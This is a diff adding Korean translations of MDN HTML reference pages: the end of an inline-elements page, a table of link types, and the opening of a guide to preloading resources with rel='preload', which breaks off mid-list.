+<p>차이가 보이나요? <code>&lt;p&gt;</code> 요소는 텍스트의 레이아웃을 완전히 바꿔, <code>&lt;p&gt;</code> 이전과 자기 자신의 텍스트, 그리고 <code>&lt;p&gt;</code> 이후의 세 부분으로 나눠버렸습니다.</p>
+
+<h3 id="요소_레벨_변경">요소 레벨 변경</h3>
+
+<p>CSS {{cssxref("display")}} 속성을 사용해 요소의 시각적 표현 레벨을 바꿀 수 있습니다. 예컨대 <code>display</code>의 값을 <code>inline</code>에서 <code>block</code>으로 바꾸면, 브라우저에게 이 인라인 요소를 인라인 박스 대신 블록 박스를 사용해 그리라고 알리는 것입니다. 그러나 이 방법을 사용해도 요소의 카테고리와 콘텐츠 모델은 바뀌지 않습니다. 즉 <code>&lt;span&gt;</code> 요소의 <code>display</code>를 <code>block</code>으로 지정한다 해도, 그 안에 <code>&lt;div&gt;</code>를 넣을 수는 없습니다.</p>
+
+<h2 id="개념적_차이">개념적 차이</h2>
+
+<p>다음은 인라인과 블록 레벨 요소의 간략한 개념적 차이입니다.</p>
+
+<dl>
+ <dt>콘텐츠 모델</dt>
+ <dd>보통 인라인 요소는 데이터와 다른 인라인 요소만 포함할 수 있으며, 블록 요소는 포함할 수 없습니다.</dd>
+ <dt>서식</dt>
+ <dd>기본적으로, 인라인 요소는 문서 흐름에서 줄바꿈을 강제하지 않습니다. 반면 블록 요소는 줄바꿈을 유발합니다. (물론 언제나처럼 CSS로 바꿀 수 있습니다)</dd>
+</dl>
+
+<h2 id="요소_목록">요소 목록</h2>
+
+<p>다음은 기본값이 인라인인 요소의 목록입니다. (사실 HTML5는 블록과 인라인 요소를 정의하지 않습니다. <a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a>를 사용하세요)</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("a") }}</dt>
+ <dt>{{ HTMLElement("abbr") }}</dt>
+ <dt>{{ HTMLElement("acronym") }}</dt>
+ <dt>{{ HTMLElement("audio") }} (컨트롤이 보이면)</dt>
+ <dt>{{ HTMLElement("b") }}</dt>
+ <dt>{{ HTMLElement("bdi") }}</dt>
+ <dt>{{ HTMLElement("bdo") }}</dt>
+ <dt>{{ HTMLElement("big") }}</dt>
+ <dt>{{ HTMLElement("br") }}</dt>
+ <dt>{{ HTMLElement("button") }}</dt>
+ <dt>{{ HTMLElement("canvas") }}</dt>
+ <dt>{{ HTMLElement("cite") }}</dt>
+ <dt>{{ HTMLElement("code") }}</dt>
+ <dt>{{ HTMLElement("data") }}</dt>
+ <dt>{{ HTMLElement("datalist") }}</dt>
+ <dt>{{ HTMLElement("del") }}</dt>
+ <dt>{{ HTMLElement("dfn") }}</dt>
+ <dt>{{ HTMLElement("em") }}</dt>
+ <dt>{{ HTMLElement("embed") }}</dt>
+ <dt>{{ HTMLElement("i") }}</dt>
+ <dt>{{ HTMLElement("iframe") }}</dt>
+ <dt>{{ HTMLElement("img") }}</dt>
+ <dt>{{ HTMLElement("input") }}</dt>
+ <dt>{{ HTMLElement("ins") }}</dt>
+ <dt>{{ HTMLElement("kbd") }}</dt>
+ <dt>{{ HTMLElement("label") }}</dt>
+ <dt>{{ HTMLElement("map") }}</dt>
+ <dt>{{ HTMLElement("mark") }}</dt>
+ <dt>{{ HTMLElement("meter") }}</dt>
+ <dt>{{ HTMLElement("noscript") }}</dt>
+ <dt>{{ HTMLElement("object") }}</dt>
+ <dt>{{ HTMLElement("output") }}</dt>
+ <dt>{{ HTMLElement("picture") }}</dt>
+ <dt>{{ HTMLElement("progress") }}</dt>
+ <dt>{{ HTMLElement("q") }}</dt>
+ <dt>{{ HTMLElement("ruby") }}</dt>
+ <dt>{{ HTMLElement("s") }}</dt>
+ <dt>{{ HTMLElement("samp") }}</dt>
+ <dt>{{ HTMLElement("script") }}</dt>
+ <dt>{{ HTMLElement("select") }}</dt>
+ <dt>{{ HTMLElement("slot") }}</dt>
+ <dt>{{ HTMLElement("small") }}</dt>
+ <dt>{{ HTMLElement("span") }}</dt>
+ <dt>{{ HTMLElement("strong") }}</dt>
+ <dt>{{ HTMLElement("sub") }}</dt>
+ <dt>{{ HTMLElement("sup") }}</dt>
+ <dt>{{ HTMLElement("svg") }}</dt>
+ <dt>{{ HTMLElement("template") }}</dt>
+ <dt>{{ HTMLElement("textarea") }}</dt>
+ <dt>{{ HTMLElement("time") }}</dt>
+ <dt>{{ HTMLElement("u") }}</dt>
+ <dt>{{ HTMLElement("tt") }}</dt>
+ <dt>{{ HTMLElement("var") }}</dt>
+ <dt>{{ HTMLElement("video") }}</dt>
+ <dt>{{ HTMLElement("wbr") }}</dt>
+</dl>
+</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/HTML/Block-level_elements">블록 레벨 요소</a></li>
+ <li><a href="/ko/docs/Web/HTML/Element">HTML 요소 참고서</a></li>
+ <li>{{cssxref("display")}}</li>
+ <li><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">일반 플로우에서의 블록과 인라인 레이아웃</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/ko/docs/Web/HTML/")}}</p>
diff --git a/files/ko/web/html/link_types/index.html b/files/ko/web/html/link_types/index.html
new file mode 100644
index 0000000000..ab23f9b35e
--- /dev/null
+++ b/files/ko/web/html/link_types/index.html
@@ -0,0 +1,332 @@
+---
+title: Link types
+slug: Web/HTML/Link_types
+tags:
+ - Attribute
+ - HTML
+ - Link
+ - Link types
+ - Reference
+translation_of: Web/HTML/Link_types
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>다음 표에 나열된 링크 타입 속성은 HTML에서 두 문서간의 관계를 명시할 때 사용합니다. 이 때 {{HTMLElement("a")}}, {{HTMLElement("area")}}, 또는 {{HTMLElement("link")}} 요소를 사용해 한 쪽에서 다른 쪽으로 향하는 연결고리를 만듭니다.</p>
+
+<table class="standard-table">
+ <caption>링크 타입 및 HTML에서의 중요도</caption>
+ <thead>
+ <tr>
+ <th scope="col">링크 타입</th>
+ <th scope="col">설명</th>
+ <th scope="col" style="width: 12em;">적용 가능한 요소</th>
+ <th scope="col">적용 불가능한 요소</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>alternate</code></td>
+ <td>
+ <ul>
+ <li>만약 요소가 {{HTMLElement("link")}}이고, {{htmlattrxref("rel", "link")}}  속성값에  <code>stylesheet</code>라는 값이 들어 있다면, 링크가 <a href="/en-US/docs/Alternative_style_sheets">대체 스타일 시트</a>로 정의된 것입니다. 이 경우, {{htmlattrxref("title", "link")}} 속성은 반드시 존재해야 하고 빈 문자열 값을 가지고 있으면 안됩니다.</li>
+ <li>만약 {{htmlattrxref("type","link")}}의 값이 <code>application/rss+xml</code>이거나 <code>application/atom+xml</code>로 설정되어 있다면, 링크를 <a href="/en-US/docs/RSS/Getting_Started/Syndicating">syndication feed</a>(기고 알림)로 정의된 것입니다. 페이지에서 정의된 것 중 첫번째 것이 기본값입니다.</li>
+ <li>위의 두 경우를 제외하면, 링크는 아래 대체 페이지 항목 중 한가지로 정의된 것입니다.
+ <ul>
+ <li>휴대용 기기와 같은 다른 매체에서 보여질 페이지({{htmlattrxref("media","link")}} 속성이 정의되어 있을 시)</li>
+ <li>외국어로 된 페이지({{htmlattrxref("hreflang","link")}} 속성이 정의되어 있을 시)</li>
+ <li>PDF처럼 다른 형식으로 된 페이지({{htmlattrxref("type","link")}} 속성이 정의되어 있을 시)</li>
+ <li>위 세가지 속성 중 2개 이상 같이 쓰인 페이지</li>
+ </ul>
+ </li>
+ </ul>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>없음.</em></td>
+ </tr>
+ <tr>
+ <td><code>archives</code> {{obsolete_inline}}</td>
+ <td>
+ <p>'이 요소는 본인 페이지에 대한 아카이브 링크를 포함하고 있는 문서로 연결해 주는 하이퍼링크임'이라고 정의하는 값입니다. 예를 들어, 이 속성값을 사용해 블로그 대문(entry)에서 월별 인덱스 페이지로 이동할 수 있는 링크를 걸 수 있습니다.<br>
+ <br>
+ <strong>알아두기:</strong> <code>archive</code> 값 하나만 써도 인식이 되기는 하나, 올바른 사용법이 아니므로 이런 식의 사용은 하지 말아 주십시오.</p>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>없음.</em></td>
+ </tr>
+ <tr>
+ <td><code>author</code></td>
+ <td>
+ <p>'저자에 대한 정보 및 저자와 연락 가능한 연락처 정보가 담긴 페이지로 향하는 하이퍼링크임'이라고 정의하는 값입니다.<br>
+ <br>
+ <strong>알아두기:</strong>  mailto: 하이퍼링크가 동일한 역할을 하긴 하나, 웹 크롤러(robot harvester)에 의해 이 주소로 많은 스팸이 보내질 가능성이 높으므로 사용을 권할만하지는 않습니다. 이이런 경우에는 연락처 폼 요소가 들어있는 페이지로 사용자를 이끄는 편이 더 낫습니다.</p>
+
+ <p>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}} 요소에 {{htmlattrxref("rev", "link")}} 속성을 사용하고 링크 타입을 <code>made</code>로 넣으면 인식이 되기는 하지만 부정확한 값이므로 {{htmlattrxref("rel", "link")}} 속성값을 <code>author</code>로 대체해야 합니다.</p>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>없음.</em></td>
+ </tr>
+ <tr>
+ <td><code>bookmark</code></td>
+ <td>
+ <p>'가장 가까운 조상 {{HTMLElement("article")}} 요소에 대해 퍼머링크(<a href="/en-US/docs/Permalink">permalink</a>)를 제공하는 하이퍼링크임'이라고 정의하는 값입니다. 만약 <code>article</code> 요소가 없다면, 링크 요소와 가장 가까운 관계를 맺고 있는 <code><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">section</a></code>에 대한 퍼머링크로 인식이 됩니다.</p>
+
+ <p>이 속성을 사용하면 (월별 블로그 총결산 페이지라던가 블로그 aggregator 사이트 등에서) 한 페이지 내에 존재하는 여러 편의 글(article)이 존재할 때, 특정한 하나의 글에 대한 즐겨찾기를 표시 해 둘 수 있습니다.</p>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ <td>{{HTMLElement("link")}}</td>
+ </tr>
+ <tr>
+ <td><code>canonical</code></td>
+ <td>캐노니컬 링크 요소는 웹 마스터의 {{glossary("SEO")}} 작업 중, 중복 콘텐츠 이슈를 해소하기 위해 웹 페이지의 "공식" 혹은 "선호" URL을 지정할 수 있는 HTML 요소입니다.</td>
+ <td>{{htmlelement("link")}}</td>
+ <td>
+ <p>{{htmlelement("a")}}, {{htmlelement("area")}}, {{htmlelement("form")}}</p>
+ </td>
+ </tr>
+ <tr>
+ <td><a href="/ko/docs/Web/HTML/Link_types/dns-prefetch"><code>dns-prefetch</code> </a>{{experimental_inline}}</td>
+ <td>브라우저에게 해당 리소스가 필요하다고 알려줘서 사용자가 링크를 클릭하기 전에 미리 DNS 조회와 프로토콜 핸드셰이크를 수행할 수 있도록 허용합니다.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>external</code></td>
+ <td>하이퍼링크가 현재 사이트 바깥의 리소스를 가리킴을 나타냅니다. 즉, 이 링크를 따라가면 사이트를 떠나게 됩니다.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ <td>{{HTMLElement("link")}}</td>
+ </tr>
+ <tr>
+ <td><code>first</code> {{obsolete_inline}}</td>
+ <td>
+ <p>하이퍼링크가 현재 페이지가 속한 시퀀스(<em>sequence</em>) 중 첫번째 리소스로 이동하는 링크임을 정의합니다.<br>
+ <br>
+ <strong>알아두기:</strong> 이것 말고도 리소스를 같은 시퀀스로 연결할 때 이와 관련있는 링크 타입으로 <code>last</code>, <code>prev</code>, <code>next</code>가 있습니다.</p>
+
+ <p><code>begin</code>이나 <code>start</code>라고 쓰면 인식이 되긴 하나 부정확한 값이므로 사용하지 말아야 합니다.</p>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>help</code></td>
+ <td>
+ <ul>
+ <li>만약 요소가 {{HTMLElement("a")}}거나 {{HTMLElement("area")}}이면, <code>help</code>는 하이퍼링크가 부모와 자손 요소에 대한 추가 도움말을 제공하는 리소스를 가리킴을 나타냅니다.</li>
+ <li>만약 요소가 {{HTMLElement("link")}}라면 help는 하이퍼링크가 페이지 전체에 대한 추가 도움말을 제공하는 리소스를 가리킴을 나타냅니다.</li>
+ </ul>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>icon</code></td>
+ <td>
+ <p>사용자 인터페이스에서 페이지를 나타낼 때 사용하는 리소스, 보통 아이콘을 정의합니다.<br>
+ <br>
+ {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}}, {{htmlattrxref("sizes","link")}} 특성을 사용하면 브라우저가 현재 맥락에서 제일 적합한 아이콘을 선택할 수 있습니다. 다수의 적합한 리소스가 존재하는 경우, 브라우저는 트리 순서에서 제일 뒤에 정의된 리소스를 사용합니다. 위의 특성은 단순히 힌트에 불과하며, 추가 조사 결과 더 적합한 리소스를 찾았다면 이전 선택을 스스로 바꿀 수 있습니다.<br>
+ <br>
+ <strong>참고:</strong> Apple의 iOS는 Web Clip 또는 시작 화면 플레이스 홀더에 사용할 아이콘을 고를 때, 다른 모바일 브라우저와는 달리 <code>icon</code> 링크 유형은 물론 {{htmlattrxref("sizes","link")}} 특성을 사용하지 않습니다. 대신, 각각에 대응ㅇ하는 비표준 <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a>과 <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a>를 사용합니다.<br>
+ <br>
+ 종종 <code>icon</code> 앞에 <code>shortcut</code> 링크 유형이 존재하나, <code>shortcut</code>은 비표준이며 브라우저가 무시하므로 웹 작성자는 <strong>이제 사용해서는 안되는 유형</strong>입니다.</p>
+ </td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>index</code> {{obsolete_inline}}</td>
+ <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the top level resource of that structure.<br>
+ <br>
+ If one or several <code>up</code> link types are also present, the number of these <code>up</code> indicates the depth of the current page in the hierarchy.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>last</code> {{obsolete_inline}}</td>
+ <td>Indicates that the hyperlink leads to the <em>last</em> resource of the <em>sequence</em> the current page is in.<br>
+ <br>
+ <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>next</code>.<br>
+ <br>
+ Although recognized, the synonym <code>end</code> is incorrect and must be avoided.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>license</code></td>
+ <td>하이퍼링크가 라이선스 정보를 담은 문서를 가리킴을 나타냅니다. {{HTMLElement("head")}} 요소 밖에 위치한 경우, 표준에서는 <code>license</code>에 대해 문서 전체에 대한 것인지, 문서 일부에 대한 것인지 구분하지 않으며 해당 페이지 내의 데이터로만 알 수 있습니다.<br>
+ <br>
+ <strong>참고: </strong><code>copyright</code>은 잘못된 동의어로, 브라우저가 인식하긴 하나 사용을 지양해야 합니다.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code><a href="/ko/docs/Web/HTML/Link_types/manifest">manifest</a></code></td>
+ <td>연결한 파일이 <a href="/ko/docs/Web/Manifest">Web App Manifest</a>임을 나타냅니다.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>next</code></td>
+ <td>Indicates that the hyperlink leads to the <em>next</em> resource of the <em>sequence</em> the current page is in.<br>
+ <br>
+ <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>last</code>.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>nofollow</code></td>
+ <td>Indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is commercial relationship between the two (sold link). This link type may be used by some search engines that use popularity ranking techniques.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ <td>{{HTMLElement("link")}}</td>
+ </tr>
+ <tr>
+ <td><code>noopener</code></td>
+ <td>
+ <p>해당 속성을 사용하여 링크를 클릭하면, 브라우저 컨텍스트 권한 없이 열립니다. 이 말은 곧, 새 창에서 {{domxref("Window.opener")}} 속성이 <code>null</code> 값을 반환하는것과 같습니다.</p>
+
+ <p>해당 속성은 특히나 신뢰할 수 없는 링크를 열 때 유용합니다. {{domxref("Window.opener")}} 속성을 통한 컨트롤을 막아주고, (더욱 자세한 사항은 링크를 참조하세요. <a href="https://mathiasbynens.github.io/rel-noopener/">About rel=noopener</a>) <code>Referer</code> HTTP 헤더를 사용합니다.</p>
+
+ <p><code>noopener</code> 속성을 사용한다면, target 속성의 값으로 <code>_top</code>, <code>_self</code>, <code>_parent</code> 속성을 제외한 다른 속성은, 새 브라우저 창을 열 것인가에 대하여 <code>_blank</code> 속성으로써 적용됨을 주의하세요.</p>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ <td>{{HTMLElement("link")}}</td>
+ </tr>
+ <tr>
+ <td><code>noreferrer</code></td>
+ <td>
+ <p>Prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the <code>Referer:</code> HTTP header.<br>
+ (In Firefox, before Firefox 37, this worked only in links found in pages. Links clicked in the UI, like "Open in a new tab" via the contextual menu, ignored this).</p>
+ </td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ <td>{{HTMLElement("link")}}</td>
+ </tr>
+ <tr>
+ <td><code>pingback</code></td>
+ <td>Defines an external resource URI to call if one wishes to make a comment or a citation about the webpage. The protocol used to make such a call is defined in the <a href="http://www.hixie.ch/specs/pingback/pingback">Pingback 1.0</a> specification.<br>
+ <br>
+ <strong>Note:</strong> if the <code>X-Pingback:</code> HTTP header is also present, it supersedes the {{HTMLElement("link")}} element with this link type.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>preconnect</code> {{experimental_inline}}</td>
+ <td>Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>prefetch</code></td>
+ <td>Suggests that the browser fetch the linked resource in advance, as it is likely to be requested by the user. Starting with Firefox 44, the value of the {{htmlattrxref("crossorigin", "link")}} attribute is taken into consideration, making it possible to make anonymous prefetches.<br>
+ <br>
+ <strong>Note:</strong> The <a href="/en-US/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has details on which links can be prefetched and on alternative methods.</td>
+ <td>{{HTMLElement("a")}} {{unimplemented_inline}},<br>
+ {{HTMLElement("area")}} {{unimplemented_inline}},<br>
+ {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>preload</code></td>
+ <td>Tells the browser to download a resource because this resource will be needed later during the current navigation. See <a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with rel="preload"</a> for more details.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>prerender</code> {{experimental_inline}}</td>
+ <td>Suggests that the browser fetch the linked resource in advance, and that it also render the prefetched content offscreen so it can be quickly presented to the user once needed.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>prev</code></td>
+ <td>Indicates that the hyperlink leads to the <em>preceding</em> resource of the <em>sequence</em> the current page is in.<br>
+ <br>
+ <strong>Note:</strong> You can also use the <code>next</code> keyword to specify a link to the next page in the sequence.<br>
+ <br>
+ Although recognized, the synonym <code>previous</code> is incorrect and must be avoided.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>search</code></td>
+ <td>Indicates that the hyperlink references a document whose interface is specially designed for searching in this document, or site, and its resources.<br>
+ <br>
+ If the {{htmlattrxref("type","link")}} attribute is set to <code>application/opensearchdescription+xml </code>the resource is an <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">OpenSearch plugin</a> that can be easily added to the interface of some browsers like Firefox or Internet Explorer.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>stylesheet</code></td>
+ <td>Defines an external resource to be used as a stylesheet. If the <code>type</code> is not set, the browser should assume it is a <code>text/css</code> stylesheet until further inspection.<br>
+ <br>
+ If used in combination with the <code>alternate</code> keyword, it defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</td>
+ <td>{{HTMLElement("link")}}</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ </tr>
+ <tr>
+ <td><code>sidebar</code> {{non-standard_inline}}</td>
+ <td>Indicates that the hyperlink leads to a resource that would be better suited for a secondary browsing context, like a <em>sidebar</em>. Browsers, that don't have such a context will ignore this keyword.<br>
+ <br>
+ While once part of the HTML specification, this has been removed from the spec and is only implemented by Firefox at this time.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ <tr>
+ <td><code>tag</code></td>
+ <td>Indicates that the hyperlink refers to a document describing a <em>tag</em> that applies to this document.<br>
+ <br>
+ <strong>Note:</strong> This link type should not be set on links to a member of a tag cloud as these do not apply to a single document but to a set of pages.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+ <td>{{HTMLElement("link")}}</td>
+ </tr>
+ <tr>
+ <td><code>up</code> {{obsolete_inline}}</td>
+ <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the higher level resource of that structure.<br>
+ <br>
+ The number of <code>up</code> link types indicates the depth difference between the current page and the linked resource.</td>
+ <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+ <td><em>None.</em></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+ <td>{{Spec2('Preload')}}</td>
+ <td>Added <code>preload</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}</td>
+ <td>{{Spec2('Resource Hints')}}</td>
+ <td>Added <code>dns-prefetch</code>, <code>preconnect</code>, and <code>prerender</code> values.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change since last snapshot ({{SpecName('HTML WHATWG')}})</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-link-element', '&lt;link&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Added <code>tag</code>, <code>stylesheet</code>, <code>search</code>, <code>prev</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>next</code>, <code>license</code>, <code>icon</code>, <code>help</code>, <code>bookmark</code>, <code>author</code>, and <code>alternate</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.3', '&lt;link&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("html.elements.link.rel")}}</div>
diff --git a/files/ko/web/html/preloading_content/index.html b/files/ko/web/html/preloading_content/index.html
new file mode 100644
index 0000000000..30e602fbca
--- /dev/null
+++ b/files/ko/web/html/preloading_content/index.html
@@ -0,0 +1,233 @@
+---
+title: Preloading content with rel="preload"
+slug: Web/HTML/Preloading_content
+translation_of: Web/HTML/Preloading_content
+---
+<p class="summary"><span class="seoSummary"> {{htmlelement("link")}}엘리먼트의 {{htmlattrxref("rel", "link")}} 속성에 <code>preload</code>라는 값이 부여되면 페이지 라이프사이클 초기에 필요한 자원에 대해서 HTML  {{htmlelement("head")}} 에서 fetch 요청을 선언할 수 있다. 이는 해당 자원의 가용시점을 앞당기고 렌더링의 방해가 일어나지 않게 함으로서 성능을 개선한다. </span></p>
+
+<p class="summary">이 문서는 <code>&lt;link rel="preload"&gt;</code> 이 어떻게 동작하는지 기본적인 가이드를 제공한다.</p>
+
+<h2 id="The_basics">The basics</h2>
+
+<p>You most commonly use <code>&lt;link&gt;</code> to load a CSS file to style your page with:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="stylesheet" href="styles/main.css"&gt;</pre>
+
+<p>Here however, we will use a <code>rel</code> value of <code>preload</code>, which turns <code>&lt;link&gt;</code> into a preloader for any resource we want. You will also need to specify:</p>
+
+<ul>
+ <li>The path to the resource in the {{htmlattrxref("href", "link")}} attribute.</li>
+ <li>The type of resource in the {{htmlattrxref("as", "link")}} attribute.</li>
+</ul>
+
+<p>A simple example might look like this (see our <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css">JS and CSS example source</a>, and <a href="https://mdn.github.io/html-examples/link-rel-preload/js-and-css/">also live</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;JS and CSS preload example&lt;/title&gt;
+
+ &lt;link rel="preload" href="style.css" as="style"&gt;
+ &lt;link rel="preload" href="main.js" as="script"&gt;
+
+ &lt;link rel="stylesheet" href="style.css"&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+ &lt;h1&gt;bouncing balls&lt;/h1&gt;
+ &lt;canvas&gt;&lt;/canvas&gt;
+
+ &lt;script src="main.js" defer&gt;&lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>Here we preload our CSS and JavaScript files so they will be available as soon as they are required for the rendering of the page later on. This example is trivial, as the browser probably discovers the <code>&lt;link rel="stylesheet"&gt;</code> and <code>&lt;script&gt;</code> elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example:</p>
+
+<ul>
+ <li>Resources that are pointed to from inside CSS, like fonts or images.</li>
+ <li>Resources that JavaScript can request, like JSON, imported scripts, or web workers.</li>
+ <li>Larger images and video files.</li>
+</ul>
+
+<p><code>preload</code> has other advantages too. Using <code>as</code> to specify the type of content to be preloaded allows the browser to:</p>
+
+<ul>
+ <li>Prioritize resource loading more accurately.</li>
+ <li>Store in the cache for future requests, reusing the resource if appropriate.</li>
+ <li>Apply the correct <a href="/en-US/docs/Web/HTTP/CSP">content security policy</a> to the resource.</li>
+ <li>Set the correct {{HTTPHeader("Accept")}} request headers for it.</li>
+</ul>
+
+<h3 id="What_types_of_content_can_be_preloaded">What types of content can be preloaded?</h3>
+
+<p>Many different content types can be preloaded. The possible <code>as</code> attribute values are:</p>
+
+<ul>
+ <li><code>audio</code>: Audio file, as typically used in {{htmlelement("audio")}}.</li>
+ <li><code>document</code>: An HTML document intended to be embedded by a {{htmlelement("frame")}} or {{htmlelement("iframe")}}.</li>
+ <li><code>embed</code>: A resource to be embedded inside an {{htmlelement("embed")}} element.</li>
+ <li><code>fetch</code>: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer or JSON file.</li>
+ <li><code>font</code>: Font file.</li>
+ <li><code>image</code>: Image file.</li>
+ <li><code>object</code>: A resource to be embedded inside an {{htmlelement("object")}} element.</li>
+ <li><code>script</code>: JavaScript file.</li>
